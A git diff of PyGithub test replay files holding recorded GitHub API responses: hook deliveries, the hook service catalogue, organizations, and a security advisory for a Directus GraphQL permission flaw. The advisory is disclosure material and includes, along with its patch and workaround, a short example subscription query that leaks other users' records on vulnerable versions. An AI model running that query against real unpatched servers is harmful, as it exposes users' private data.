('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C804:4194:187E3F3:319CBA9:64C47981')] +[{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] diff --git a/tests/ReplayData/Github.testGetHook.txt b/tests/ReplayData/Github.testGetHook.txt index 78b92a1fc5..5d6fb724e9 100644 --- a/tests/ReplayData/Github.testGetHook.txt +++ b/tests/ReplayData/Github.testGetHook.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] {"name":"activecollab","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]} - diff --git a/tests/ReplayData/Github.testGetHookDeliveries.txt b/tests/ReplayData/Github.testGetHookDeliveries.txt new file mode 100644 index 0000000000..40566ab663 --- /dev/null +++ b/tests/ReplayData/Github.testGetHookDeliveries.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/hooks/257993/deliveries +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] +[{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] diff --git a/tests/ReplayData/Github.testGetHookDelivery.txt b/tests/ReplayData/Github.testGetHookDelivery.txt new file mode 100644 index 0000000000..44ccfcb6ba --- /dev/null +++ b/tests/ReplayData/Github.testGetHookDelivery.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/hooks/257993/deliveries/12345 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] +{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} diff --git a/tests/ReplayData/Github.testGetHooks.txt b/tests/ReplayData/Github.testGetHooks.txt index 8e1ab91c92..780b5c478d 100644 --- a/tests/ReplayData/Github.testGetHooks.txt +++ b/tests/ReplayData/Github.testGetHooks.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '16567'), ('server', 'nginx'), ('last-modified', 'Fri, 24 Aug 2012 07:05:12 GMT'), ('connection', 'keep-alive'), ('etag', '"eb52c03081d2fc22f26ed2718921e500"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 17:26:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"name":"activecollab","schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]],"events":["push"],"supported_events":["push"]},{"name":"acunote","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"agilebench","schema":[["string","token"],["string","project_id"]],"events":["push"],"supported_events":["push"]},{"name":"agilezen","schema":[["string","api_key"],["string","project_id"],["string","branches"]],"events":["push"],"supported_events":["push"]},{"name":"amqp","schema":[["string","server"],["string","port"],["string","vhost"],["string","exchange"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"apoio","schema":[["string","subdomain"],["string","token"]],"events":["issues"],"supported_events":["issues"]},{"name":"appharbor","schema":[["string","application_slug"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"bamboo","schema":[["string","base_url"],["string","build_key"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"basecamp","schema":[["string","url"],["string","project"],["string","category"],["string","username"],["password","password"],["boolean","ssl"]],"events":["push"],"supported_events":["push"]},{"name":"bcx","schema":[["string","project_url"],["string","email_address"],["password","password"]],"events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"]},{"name":"boxcar","schema":[["string","subscribers"]],"events":["push"],"supported_events":["push"]},{"name":"bugherd","schema":[["string","project_key"]],"events":["push"],"supported_events":["push"]},{"name":"bugly","schema":[["string","project_id"],["string","account_name"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"bugzilla","schema":[["string","server_url"],["string","username"],["string","integration_branch"],["password","password"],["boolean","central_repository"]],"events":["push"],"supported_events":["push"]},{"name":"buildcoin","schema":[["string","company_key"]],"events":["push","pull_request","pull_request_review_comment","issue_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"campfire","schema":[["string","subdomain"],["string","room"],["string","token"],["string","sound"],["boolean","master_only"],["boolean","play_sound"],["boolean","long_url"]],"events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"]},{"name":"cia","schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["boolean","long_url"]],"events":["push"],"supported_events":["push"]},{"name":"codeclimate","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"codeportingcsharp2java","schema":[["string","project_name"],["string","repo_key"],["string","target_repo_key"],["string","codeporting_username"],["password","codeporting_password"],["string","github_access_token"]],"events":["push"],"supported_events":["push"]},{"name":"coop","schema":[["string","group_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"cube","schema":[["string","domain"],["string","project"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"ducksboard","schema":[["string","webhook_key"]],"events":["push","issues","fork","watch"],"supported_events":["fork","issues","push","watch"]},{"name":"email","schema":[["string","address"],["password","secret"],["boolean","send_from_author"]],"events":["push"],"supported_events":["public","push"]},{"name":"flowdock","schema":[["string","token"]],"events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"fogbugz","schema":[["string","cvssubmit_url"],["string","fb_repoid"],["string","fb_version"]],"events":["push"],"supported_events":["push"]},{"name":"freckle","schema":[["string","subdomain"],["string","project"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"friendfeed","schema":[["string","nickname"],["string","remotekey"]],"events":["push"],"supported_events":["push"]},{"name":"gemnasium","schema":[["string","user"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"geocommit","schema":[],"events":["push"],"supported_events":["push"]},{"name":"getlocalization","schema":[["string","project_name"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"gitlive","schema":[],"events":["push"],"supported_events":["push"]},{"name":"grmble","schema":[["string","room_api_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"grouptalent","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"grove","schema":[["string","channel_token"]],"events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["push"]},{"name":"habitualist","schema":[],"events":["push"],"supported_events":["push"]},{"name":"harvest","schema":[["string","subdomain"],["string","username"],["password","password"],["boolean","ssl"]],"events":["push"],"supported_events":["push"]},{"name":"hipchat","schema":[["string","auth_token"],["string","room"],["boolean","notify"]],"events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"hubci","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"icescrum","schema":[["string","base_url"],["string","project_key"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"irc","schema":[["string","server"],["string","port"],["string","room"],["string","nick"],["string","branch_regexes"],["password","password"],["boolean","ssl"],["boolean","message_without_join"],["boolean","no_colors"],["boolean","long_url"],["boolean","notice"]],"events":["push"],"supported_events":["issues","pull_request","push"]},{"name":"jabber","schema":[["string","user"]],"events":["push"],"supported_events":["push"]},{"name":"jaconda","schema":[["string","subdomain"],["string","room_id"],["string","room_token"],["boolean","digest"]],"events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"jenkins","schema":[["string","jenkins_hook_url"]],"events":["push"],"supported_events":["push"]},{"name":"jenkinsgit","schema":[["string","jenkins_url"]],"events":["push"],"supported_events":["push"]},{"name":"jira","schema":[["string","server_url"],["string","api_version"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"kanbanery","schema":[["string","project_id"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"kickoff","schema":[["string","project_id"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"leanto","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"lighthouse","schema":[["string","subdomain"],["string","project_id"],["string","token"],["boolean","private"],["boolean","send_only_ticket_commits"]],"events":["push"],"supported_events":["push"]},{"name":"loggly","schema":[["string","input_token"]],"events":["push"],"supported_events":["push"]},{"name":"mantisbt","schema":[["string","url"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"masterbranch","schema":[],"events":["push"],"supported_events":["push"]},{"name":"mqttpub","schema":[["string","broker"],["string","port"],["string","topic"],["string","clientid"],["string","user"],["password","pass"],["boolean","retain"]],"events":["push"],"supported_events":["push"]},{"name":"nma","schema":[["string","apikey"]],"events":["push"],"supported_events":["push"]},{"name":"nodejitsu","schema":[["string","subdomain"],["string","username"],["string","branch"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"notifo","schema":[["string","subscribers"]],"events":["push"],"supported_events":["push"]},{"name":"ontime","schema":[["string","ontime_url"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"pachube","schema":[["string","api_key"],["string","feed_id"],["string","track_branch"]],"events":["push"],"supported_events":["push"]},{"name":"packagist","schema":[["string","domain"],["string","user"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"pivotaltracker","schema":[["string","token"],["string","branch"],["string","endpoint"]],"events":["push"],"supported_events":["push"]},{"name":"planbox","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"planio","schema":[["string","address"],["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"presently","schema":[["string","subdomain"],["string","group_name"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"prowl","schema":[["string","apikey"]],"events":["push"],"supported_events":["push"]},{"name":"puppetlinter","schema":[],"events":["push"],"supported_events":["push"]},{"name":"pushover","schema":[["string","user_key"],["string","device_name"]],"events":["push"],"supported_events":["push"]},{"name":"pythonpackages","schema":[],"events":["push"],"supported_events":["push"]},{"name":"railsbp","schema":[["string","railsbp_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"railsbrakeman","schema":[["string","rails_brakeman_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"rally","schema":[["string","server"],["string","username"],["string","workspace"],["string","repository"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"rationalteamconcert","schema":[["string","server_url"],["string","username"],["string","project_area_uuid"],["password","password"],["boolean","basic_authentication"]],"events":["push"],"supported_events":["push"]},{"name":"rdocinfo","schema":[],"events":["push"],"supported_events":["push"]},{"name":"readthedocs","schema":[],"events":["push"],"supported_events":["push"]},{"name":"redmine","schema":[["string","address"],["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"rubyforge","schema":[["string","groupid"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"scrumdo","schema":[["string","username"],["string","project_slug"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"shiningpanda","schema":[["string","workspace"],["string","job"],["string","token"],["string","branches"],["string","parameters"]],"events":["push"],"supported_events":["push"]},{"name":"slatebox","schema":[["string","app_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"snowyevening","schema":[["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"socialcast","schema":[["string","api_domain"],["string","group_id"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"sourcemint","schema":[],"events":["push"],"supported_events":["push"]},{"name":"splendidbacon","schema":[["string","project_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"sqsqueue","schema":[["string","aws_access_key"],["string","sqs_queue_name"],["password","aws_secret_key"]],"events":["push"],"supported_events":["push"]},{"name":"stackmob","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"statusnet","schema":[["string","server"],["string","username"],["password","password"],["boolean","digest"]],"events":["push"],"supported_events":["push"]},{"name":"talker","schema":[["string","url"],["string","token"],["boolean","digest"]],"events":["push"],"supported_events":["issues","pull_request","push"]},{"name":"targetprocess","schema":[["string","base_url"],["string","username"],["string","project_id"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"teamcity","schema":[["string","base_url"],["string","build_type_id"],["string","username"],["string","branches"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"tender","schema":[["string","domain"],["string","token"]],"events":["issues"],"supported_events":["issues","pull_request"]},{"name":"testpilot","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"toggl","schema":[["string","project"],["string","api_token"]],"events":["push"],"supported_events":["push"]},{"name":"trac","schema":[["string","url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"trajectory","schema":[["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"travis","schema":[["string","user"],["string","token"],["string","domain"]],"events":["push","pull_request","issue_comment","public","member"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"trello","schema":[["string","list_id"],["string","ignore_regex"],["boolean","master_only"],["password","consumer_token"]],"events":["push"],"supported_events":["push"]},{"name":"twilio","schema":[["string","account_sid"],["string","from_phone"],["string","to_phone"],["boolean","master_only"],["password","auth_token"]],"events":["push"],"supported_events":["push"]},{"name":"twitter","schema":[["string","token"],["string","secret"],["boolean","digest"],["boolean","short_format"]],"events":["push"],"supported_events":["push"]},{"name":"unfuddle","schema":[["string","subdomain"],["string","repo_id"],["string","username"],["password","password"],["boolean","httponly"]],"events":["push"],"supported_events":["push"]},{"name":"web","schema":[["string","url"],["string","secret"],["string","content_type"],["boolean","insecure_ssl"]],"events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"webtranslateit","schema":[["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"yammer","schema":[["string","group_id"],["string","consumer_key"],["string","consumer_secret"],["string","access_token"],["string","access_secret"],["boolean","digest"]],"events":["push"],"supported_events":["push"]},{"name":"youtrack","schema":[["string","base_url"],["string","committers"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"zendesk","schema":[["string","subdomain"],["string","username"],["password","password"]],"events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"zohoprojects","schema":[["string","project_id"],["string","token"]],"events":["push"],"supported_events":["push"]}] - diff --git a/tests/ReplayData/Github.testGetOrganizations.txt b/tests/ReplayData/Github.testGetOrganizations.txt index 076dd2e9eb..2327a948d8 100644 --- a/tests/ReplayData/Github.testGetOrganizations.txt +++ b/tests/ReplayData/Github.testGetOrganizations.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '16820'), ('x-runtime-rack', '0.060304'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', ''), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"d0e406262ee703e24070ef22399c6529"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '65E2:468F:1E6478:271827:5ACE9AFB'), ('link', '; rel="next", ; rel="first"'), ('date', 'Wed, 11 Apr 2018 23:32:12 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1523492466')] [{"login":"errfree","id":44,"url":"https://api.github.com/orgs/errfree","repos_url":"https://api.github.com/orgs/errfree/repos","events_url":"https://api.github.com/orgs/errfree/events","hooks_url":"https://api.github.com/orgs/errfree/hooks","issues_url":"https://api.github.com/orgs/errfree/issues","members_url":"https://api.github.com/orgs/errfree/members{/member}","public_members_url":"https://api.github.com/orgs/errfree/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/44?v=4","description":null},{"login":"engineyard","id":81,"url":"https://api.github.com/orgs/engineyard","repos_url":"https://api.github.com/orgs/engineyard/repos","events_url":"https://api.github.com/orgs/engineyard/events","hooks_url":"https://api.github.com/orgs/engineyard/hooks","issues_url":"https://api.github.com/orgs/engineyard/issues","members_url":"https://api.github.com/orgs/engineyard/members{/member}","public_members_url":"https://api.github.com/orgs/engineyard/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/81?v=4","description":""},{"login":"ministrycentered","id":119,"url":"https://api.github.com/orgs/ministrycentered","repos_url":"https://api.github.com/orgs/ministrycentered/repos","events_url":"https://api.github.com/orgs/ministrycentered/events","hooks_url":"https://api.github.com/orgs/ministrycentered/hooks","issues_url":"https://api.github.com/orgs/ministrycentered/issues","members_url":"https://api.github.com/orgs/ministrycentered/members{/member}","public_members_url":"https://api.github.com/orgs/ministrycentered/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/119?v=4","description":""},{"login":"collectiveidea","id":128,"url":"https://api.github.com/orgs/collectiveidea","repos_url":"https://api.github.com/orgs/collectiveidea/repos","events_url":"https://api.github.com/orgs/collectiveidea/events","hooks_url":"https://api.github.com/orgs/collectiveidea/hooks","issues_url":"https://api.github.com/orgs/collectiveidea/issues","members_url":"https://api.github.com/orgs/collectiveidea/members{/member}","public_members_url":"https://api.github.com/orgs/collectiveidea/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/128?v=4","description":"We build software to solve real problems."},{"login":"ogc","id":144,"url":"https://api.github.com/orgs/ogc","repos_url":"https://api.github.com/orgs/ogc/repos","events_url":"https://api.github.com/orgs/ogc/events","hooks_url":"https://api.github.com/orgs/ogc/hooks","issues_url":"https://api.github.com/orgs/ogc/issues","members_url":"https://api.github.com/orgs/ogc/members{/member}","public_members_url":"https://api.github.com/orgs/ogc/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/144?v=4","description":null},{"login":"sevenwire","id":150,"url":"https://api.github.com/orgs/sevenwire","repos_url":"https://api.github.com/orgs/sevenwire/repos","events_url":"https://api.github.com/orgs/sevenwire/events","hooks_url":"https://api.github.com/orgs/sevenwire/hooks","issues_url":"https://api.github.com/orgs/sevenwire/issues","members_url":"https://api.github.com/orgs/sevenwire/members{/member}","public_members_url":"https://api.github.com/orgs/sevenwire/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/150?v=4","description":""},{"login":"entryway","id":167,"url":"https://api.github.com/orgs/entryway","repos_url":"https://api.github.com/orgs/entryway/repos","events_url":"https://api.github.com/orgs/entryway/events","hooks_url":"https://api.github.com/orgs/entryway/hooks","issues_url":"https://api.github.com/orgs/entryway/issues","members_url":"https://api.github.com/orgs/entryway/members{/member}","public_members_url":"https://api.github.com/orgs/entryway/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/167?v=4","description":""},{"login":"merb","id":264,"url":"https://api.github.com/orgs/merb","repos_url":"https://api.github.com/orgs/merb/repos","events_url":"https://api.github.com/orgs/merb/events","hooks_url":"https://api.github.com/orgs/merb/hooks","issues_url":"https://api.github.com/orgs/merb/issues","members_url":"https://api.github.com/orgs/merb/members{/member}","public_members_url":"https://api.github.com/orgs/merb/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/264?v=4","description":null},{"login":"moneyspyder","id":359,"url":"https://api.github.com/orgs/moneyspyder","repos_url":"https://api.github.com/orgs/moneyspyder/repos","events_url":"https://api.github.com/orgs/moneyspyder/events","hooks_url":"https://api.github.com/orgs/moneyspyder/hooks","issues_url":"https://api.github.com/orgs/moneyspyder/issues","members_url":"https://api.github.com/orgs/moneyspyder/members{/member}","public_members_url":"https://api.github.com/orgs/moneyspyder/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/359?v=4","description":null},{"login":"sproutit","id":374,"url":"https://api.github.com/orgs/sproutit","repos_url":"https://api.github.com/orgs/sproutit/repos","events_url":"https://api.github.com/orgs/sproutit/events","hooks_url":"https://api.github.com/orgs/sproutit/hooks","issues_url":"https://api.github.com/orgs/sproutit/issues","members_url":"https://api.github.com/orgs/sproutit/members{/member}","public_members_url":"https://api.github.com/orgs/sproutit/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/374?v=4","description":null},{"login":"wrenchlabs","id":489,"url":"https://api.github.com/orgs/wrenchlabs","repos_url":"https://api.github.com/orgs/wrenchlabs/repos","events_url":"https://api.github.com/orgs/wrenchlabs/events","hooks_url":"https://api.github.com/orgs/wrenchlabs/hooks","issues_url":"https://api.github.com/orgs/wrenchlabs/issues","members_url":"https://api.github.com/orgs/wrenchlabs/members{/member}","public_members_url":"https://api.github.com/orgs/wrenchlabs/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/489?v=4","description":null},{"login":"ipvideomarketinfo","id":555,"url":"https://api.github.com/orgs/ipvideomarketinfo","repos_url":"https://api.github.com/orgs/ipvideomarketinfo/repos","events_url":"https://api.github.com/orgs/ipvideomarketinfo/events","hooks_url":"https://api.github.com/orgs/ipvideomarketinfo/hooks","issues_url":"https://api.github.com/orgs/ipvideomarketinfo/issues","members_url":"https://api.github.com/orgs/ipvideomarketinfo/members{/member}","public_members_url":"https://api.github.com/orgs/ipvideomarketinfo/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/555?v=4","description":""},{"login":"revelation","id":728,"url":"https://api.github.com/orgs/revelation","repos_url":"https://api.github.com/orgs/revelation/repos","events_url":"https://api.github.com/orgs/revelation/events","hooks_url":"https://api.github.com/orgs/revelation/hooks","issues_url":"https://api.github.com/orgs/revelation/issues","members_url":"https://api.github.com/orgs/revelation/members{/member}","public_members_url":"https://api.github.com/orgs/revelation/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/728?v=4","description":""},{"login":"railslove","id":1067,"url":"https://api.github.com/orgs/railslove","repos_url":"https://api.github.com/orgs/railslove/repos","events_url":"https://api.github.com/orgs/r